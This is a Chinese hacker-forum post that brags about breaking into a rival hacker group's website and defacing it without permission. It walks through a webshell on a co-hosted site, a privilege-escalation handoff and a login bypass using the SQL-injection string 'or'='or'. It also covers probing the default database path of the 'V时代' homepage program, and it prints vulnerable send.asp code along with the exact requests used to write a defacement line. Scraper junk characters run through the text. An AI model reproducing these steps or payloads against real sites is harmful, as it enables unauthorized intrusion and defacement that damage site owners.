入侵华东黑客联盟装X的过程

admin

有些朋友对我和云中鹰搞华东的过程比较感兴趣，其实那个很没技术含量
. a/ r# G0 j3 q今天闲着无聊，把手上的项目葛一下，来论坛放松一下，顺便说说上次搞华东黑客联盟到装B的过程
$ u- c/ B& ^7 ?, J& E+ ]这天云中鸡说华东的某人很牛X，利用JPG黑站大法把恶灵战队黑了，还发了个demo出来
我去看了一下demo，感觉很黑客，于是就和云中鸡搞了一下华东
首先，我记得华东只被人搞过一次（记性不好，原谅下~~），所以应该防护还是比较好的
* q8 z$ X& ]8 p! U7 ?* B4 J服务器应该防ARP，不过这还只是猜测
) X8 Q- \6 ]8 L& A. f. D云中鸡说先不搞C段，PZ一下再说
2 I% L5 T8 A* ^) W7 ^( d然后我就打开了链接标记[url=http://www.3hack.comwww.3hack.com[/url[/url]]
9 `+ T& z% `3 ]' v; e一看，我晕，怎么网站变了................以前我比较喜欢到华东去看动画，现在怎么变成这鸟样了，晕..............
这时候云中鸡丢了一个同F的站过来，说进了后台搞不了shell
7 A. V' Z2 B5 _6 ^  h% t0 c8 p我看了下搞到了一个webshell出来（这里涉及点技巧，不过不是重点，故省略....），登上webshell后发现服务器的权限很BT
然后我就把shell丢给云中鸡去提权，过了一会儿找到了一个二级玉米的站shop.xiahack.cn
1 p* e  s# r8 ^: J看着是用eshop来架设的网店，虽然不是同F，但还是想搞下他看有什么可利用的地方，用了几个0day去搞发现不是最新版，0day用不鸟
+ l" {" a: h1 U4 c0 C+ N问了下云中鸡提权怎样了，他说还在努力，装不鸟B就不睡觉，晕了，这下入侵陷入了僵局...............
无聊到网上乱逛，这时无意中发现一个阿拉伯XXXXXX，具体就不说啥鸟，呵呵~~
3 t9 c. A6 c  |然后阿拉伯黑客发现了链接标记[url=http://www.3hack.comwww.3hack.com[/url[/url]]上有个xia的目录很可疑，于是我就去看看是什么
打开一看，如图1所示。
& r! g. w$ }. }3 v1 Y5 A
http://00day.cn/forum/attachment/thumb/6_1_a8d665f343765b2.jpg
我靠~~这啥东西？这么帅？点进去一看，如图2所示。

http://00day.cn/forum/attachment/thumb/6_1_d741c5c7b6b8a48.jpg
太帅了，真YD！！
3 k$ ~) ?7 J, _9 H3 ?. \7 O这个页面应该是一套个人主页程序，而且还挺炫的！
这个页面有发表日志的地方，应该可能存在登陆页面，找了一轮后发现当鼠标放到网页顶端的时候就会弹出登陆页面，如图3所示。

1 g7 g- m  o7 N2 o5 G4 y http://00day.cn/forum/attachment/6_1_b03700cb2fe5d52.jpg
! ^: P% Y9 }. Z2 ?0 M# y' |0 s  p嘿嘿，试着'or'='or'居然进去了！！如图4所示。
- {, d) |7 Y3 n! I0 G: q
( `- k) z  U0 _ http://00day.cn/forum/attachment/6_1_7107004af344a3c.jpg
* {1 l$ Z8 f7 M+ v, G经过半个多小时的摸索，还是没有发现可利用的地方。
; e* _0 K6 _: p+ u- p: H这下郁闷了，不管了，把这套程序下载下来看看吧
找了一会才知道这套程序叫做“V时代个人flash主页”
到官方下了套最新版，然后找了一下可利用的地方，不一会，我发现“/html/admin”这个目录很可能可以利用
于是马上打开链接标记[url=http://www.3hack.com/xia/html/adminhttp://www.3hack.com/xia/html/admin[/url[/url]]
6 i( c% W7 X9 O( O; }' ]! O& C% @4 [返回的确实找不到页面，郁闷了，输入链接标记[url=http://www.3hack.com/xia/html/http://www.3hack.com/xia/html/[/url[/url]]
6 G9 r  g7 a$ A0 D( x! C同样是找不到页面，真晕！再看看！
% s$ N" }! S% y% `* I; P& Z5 C5分钟过后，我发现后台地址是“/asp”，默认数据库是“/asp/vshidai.mdb”，嘿嘿！这下你不死定了！
马上打开链接标记[url=http://www.3hack.com/xia/asp/vshidai.mdbhttp://www.3hack.com/xia/asp/vshidai.mdb[/url[/url]]，我晕！服务器居然设置了mdb后缀映射，下载不了！
打开链接标记[url=http://www.3hack.com/xia/asp/http://www.3hack.com/xia/asp/[/url[/url]]，发现返回空白，这下我真是服了！
5 c1 u0 U) ?% `- K希望快覆灭了，这时我点到了根目录下的send.asp文件，看到里面存在着一个有意思的东西，代码如下：

, O) v+ I7 B1 g* |' Uvar a
( M! b2 v3 s! v5 n5 l* o, R3 ^var b
var tx
var clean
6 T3 r' t% K3 r0 N% }6 H9 {  \a=Request("re")
clean=Request("clean")
- @/ j, }3 {9 {8 c- v0 ^var jian="test.txt"
- K8 j' A/ W. @* i7 Z7 T# L& r8 `
1 U' T; @9 c: j. U9 Y+ z# y5 T: Lif(clean==1){
tx="&a="
6 l/ n4 w2 \2 i! cvar fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
var newdt=fs2.OpenTextFile(Server.MapPath(jian),2,true)
( |& H8 [- _5 |6 Z$ Jnewdt.WriteLine("&a=")
8 N" y2 u3 t6 s+ Vnewdt.close()
0 y! Y) X. S4 q}
# p* W" C4 U* d" C3 c
" }$ D+ J' S2 B4 A' P8 Tif(clean==0|clean==1){
( q0 p6 w( H' j+ h& o% Stx=""
6 }% q5 d1 m$ v" p1 I0 b. qvar fso = Server.Createobject("Scripting.FileSystemObject")
var file = fso.OpenTextFile(Server.Mappath(jian))
+ i, `7 E5 G& L. t6 _+ O3 C% I* ywhile (!file.AtEndOfStream){
tx=file.ReadLine()
6 K" R' l' S. W' a: t3 w/ yResponse.write (tx)
}
Response.write ("&")
file.close()
) E  S1 d4 _2 a! z% L2 \* c  C7 v}
: g- K+ q; h3 f# ], J
if(clean==2){
+ ^  H4 S3 W  H0 K3 `tx=""
var fso = Server.Createobject("Scripting.FileSystemObject")
" U) i; O5 S9 F( d: j4 hvar file = fso.OpenTextFile(Server.Mappath(jian))
' i$ h5 ^3 v  G& o/ {- V! J
var fs2
var fs2=Server.CreateObject("Scripting.FileSystemObject")
/ ]" v  U! k: h. i0 r) T4 ~, gvar newdt=fs2.OpenTextFile(Server.MapPath(jian),8,true)


while (!file.AtEndOfStream){
" u1 S5 j# `! K) l, _tx=file.ReadLine()
Response.write (tx)}

  x0 t2 x% V/ _9 k5 }4 jResponse.write (a+"&")
5 v3 D3 t$ B6 K1 G1 b$ r( }2 X+ z7 `newdt.WriteLine(a)

file.close()
$ k  N' ?! ?" s2 K8 E! b: Inewdt.close()
' ~' _) x' s  O# M1 y. U( i}

# r$ ?: h: x: s/ n7 m/ c$ J5 ]
5 d+ ^9 C  G# _- g复制代码
$ [0 z' C, W. n  }9 f( s这下应该可以装B了！从代码看出，我们首先要提交“send.asp?clean=1”来创建一个名为test.txt的文件，文件里面写着“&a=&”
接下来我们提交“send.asp?clean=2&re=H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”
' [6 `* W6 T. |: l( d' t! v这样就能在test.txt文件里新建一行并写入“H4cked by 落叶纷飞 and 云中鹰....00day.cn全体飘过”这句话
4 }2 v1 R" l* {4 t- n9 j& h+ L过程如图5、6所示。

http://00day.cn/forum/attachment/thumb/6_1_cd66a1c03f6682b.jpg
1 h8 ~) T9 P5 o1 q  
8 l) P0 {9 v8 |. E6 t% U http://00day.cn/forum/attachment/thumb/6_1_942adfb1ce45224.jpg
! p9 `5 W2 U4 o提交后我们打开链接标记[url=http://www.3hack.com/xia/test.txtwww.3hack.com/xia/test.txt[/url[/url]]看看，如图7所示。
- p# L9 e- [8 `
http://00day.cn/forum/attachment/thumb/6_1_10f60a12650b618.jpg
这下终于可以装到X了，如果不是V时代的作者写的send.asp代码存在问题，拿到shell是不难的
如果jian是经过request取值的话，同样也能搞到shell。
这次只是装到了X，并没有拿到shell
已经是凌晨了，跟云中J说了声就睡觉去鸟
估计那B可能搞到了权限，不过我没问他，最近事情比较多，也比较忙
就到这里吧，没技术含量，纯粹装X，高手们见笑了
另外劝告某些认为上传个JPG就能黑到站的大黑客，你这样自欺欺人吃亏的是你自己
7 b* X( W$ a1 v1 ], b自己学不到技术，却还在自欺欺人
不说了，本文到这里，最后感谢一下阿拉伯黑客，原来阿拉伯黑客也是很强大的，好了，猪大家愉快~~
* l/ O9 w% Q. }. a; E